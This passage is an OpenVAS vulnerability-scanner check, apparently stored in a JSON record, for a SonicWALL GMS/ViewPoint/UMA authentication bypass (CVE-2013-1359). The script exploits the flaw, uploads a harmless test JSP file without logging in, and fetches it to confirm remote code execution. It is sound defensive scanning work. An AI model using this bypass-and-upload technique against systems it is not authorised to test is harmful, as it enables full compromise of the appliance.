Vulnerability\n#\n# Authors:\n# Michael Meyer <michael.meyer@greenbone.net>\n#\n# Copyright:\n# Copyright (C) 2013 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.103642\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_bugtraq_id(57445);\n script_cve_id(\"CVE-2013-1359\", \"CVE-2013-1360\");\n script_version(\"2020-05-05T09:44:01+0000\");\n\n script_name(\"Multiple SonicWALL Products Authentication Bypass Vulnerability\");\n\n script_xref(name:\"URL\", value:\"http://www.securityfocus.com/bid/57445\");\n script_xref(name:\"URL\", value:\"http://www.sonicwall.com/\");\n script_xref(name:\"URL\", value:\"http://sotiriu.de/adv/NSOADV-2013-001.txt\");\n\n script_tag(name:\"last_modification\", value:\"2020-05-05 09:44:01 +0000 (Tue, 05 May 2020)\");\n script_tag(name:\"creation_date\", value:\"2013-01-18 13:01:11 +0100 (Fri, 18 Jan 2013)\");\n script_category(ACT_ATTACK);\n script_tag(name:\"qod_type\", value:\"remote_vul\");\n script_family(\"Web application abuses\");\n script_copyright(\"Copyright (C) 2013 Greenbone Networks GmbH\");\n script_dependencies(\"find_service.nasl\", \"httpver.nasl\", \"global_settings.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_exclude_keys(\"Settings/disable_cgi_scanning\");\n\n script_tag(name:\"solution\", value:\"Vendor updates are available. Please see the references for more\n information.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n script_tag(name:\"summary\", value:\"Multiple SonicWALL products including Global Management System (GMS),\n ViewPoint, Universal Management Appliance (UMA), and Analyzer are\n prone to an authentication-bypass vulnerability.\");\n\n script_tag(name:\"impact\", value:\"Attackers can exploit this issue to gain administrative access to the\n web interface. This allows attackers to execute arbitrary code with SYSTEM privileges that could fully\n compromise the system.\");\n\n script_tag(name:\"affected\", value:\"GMS/Analyzer/UMA 7.0.x\n\n GMS/ViewPoint/UMA 6.0.x\n\n GMS/ViewPoint/UMA 5.1.x\n\n GMS/ViewPoint 5.0.x\n\n GMS/ViewPoint 4.1.x\");\n\n exit(0);\n}\n\ninclude(\"http_func.inc\");\ninclude(\"http_keepalive.inc\");\ninclude(\"misc_func.inc\");\n\nport = http_get_port(default:80);\n\nurl = \"/\";\nbuf = http_get_cache(item:url, port:port);\n\nif(! buf || \"<title>sonicwall\" >!< tolower(buf))\n exit(0);\n\nuseragent = http_get_user_agent();\nhost = http_host_name(port:port);\n\nreq = string(\n\"POST /appliance/applianceMainPage?skipSessionCheck=1 HTTP/1.1\\r\\n\",\n\"TE: deflate,gzip;q=0.3\\r\\n\",\n\"Connection: TE, close\\r\\n\",\n\"Host: \",host,\"\\r\\n\",\n\"User-Agent: \", useragent, \"\\r\\n\",\n\"Content-Length: 90\\r\\n\",\n\"Content-Type: application/x-www-form-urlencoded; charset=UTF-8\\r\\n\",\n\"\\r\\n\",\n\"num=123456&action=show_diagnostics&task=search&item=application_log&criteria=*.*&width=500\\r\\n\");\n\nresult = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);\nif(\"<OPTION VALUE\" >!< result)\n exit(0);\n\nlines = split(result);\n\nforeach line (lines) {\n if(\"<OPTION VALUE\" >< line) {\n a = split(line,sep:'\"', keep:FALSE);\n if(\"logs\" >< a[1]) {\n b = split(a[1],sep:\"logs\",keep:FALSE);\n gms_path = b[0];\n if(!isnull(gms_path))break;\n }\n }\n}\n\nif(isnull(gms_path))\n exit(0);\n\nif(gms_path =~ \"^/\") {\n gms_path = gms_path + \"webapps/appliance/\";\n} else {\n gms_path = gms_path + 'webapps\\\\appliance\\\\';\n}\n\nvtstrings = get_vt_strings();\nfile = vtstrings[\"lowercase_rand\"] + '.jsp';\njsp_print = vtstrings[\"lowercase_rand\"];\njsp = '<% out.println( \"' + jsp_print + '\" ); %>';\n\nlen = 325 + strlen(jsp) + strlen(gms_path) + strlen(file);\n\nreq = string(\n\"POST /appliance/applianceMainPage?skipSessionCheck=1 HTTP/1.1\\r\\n\",\n\"TE: deflate,gzip;q=0.3\\r\\n\",\n\"Connection: TE, close\\r\\n\",\n\"Host: \",host,\"\\r\\n\",\n\"User-Agent: \", useragent, \"\\r\\n\",\n\"Content-Length: \",len,\"\\r\\n\",\n\"Content-Type: multipart/form-data; boundary=xYzZY\\r\\n\",\n\"\\r\\n\",\n\"--xYzZY\\r\\n\",\n'Content-Disposition: form-data; name=\"action\"',\"\\r\\n\",\n\"\\r\\n\",\n\"file_system\\r\\n\",\n\"--xYzZY\\r\\n\",\n'Content-Disposition: form-data; name=\"task\"',\"\\r\\n\",\n\"\\r\\n\",\n\"uploadFile\\r\\n\",\n\"--xYzZY\\r\\n\",\n'Content-Disposition: form-data; name=\"searchFolder\"',\"\\r\\n\",\n\"\\r\\n\",\ngms_path,\"\\r\\n\",\n\"--xYzZY\\r\\n\",\n'Content-Disposition: form-data; name=\"uploadFileName\"; filename=\"',file,'\"',\"\\r\\n\",\n\"Content-Type: text/plain\\r\\n\",\n\"\\r\\n\",\njsp,\"\\r\\n\",\n\n\"\\r\\n\",\n\"--xYzZY--\\r\\n\");\n\nresult = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);\nif(!result || result !~ \"^HTTP/1\\.[01] 200\")\n exit(0);\n\nurl = '/appliance/' + file;\nreq = http_get(item:url, port:port);\nbuf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);\n\nif(jsp_print >< buf) {\n report = http_report_vuln_url(port:port, url:url);\n security_message(port:port, data:report);\n exit(0);\n}\n\nexit(99);\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}]}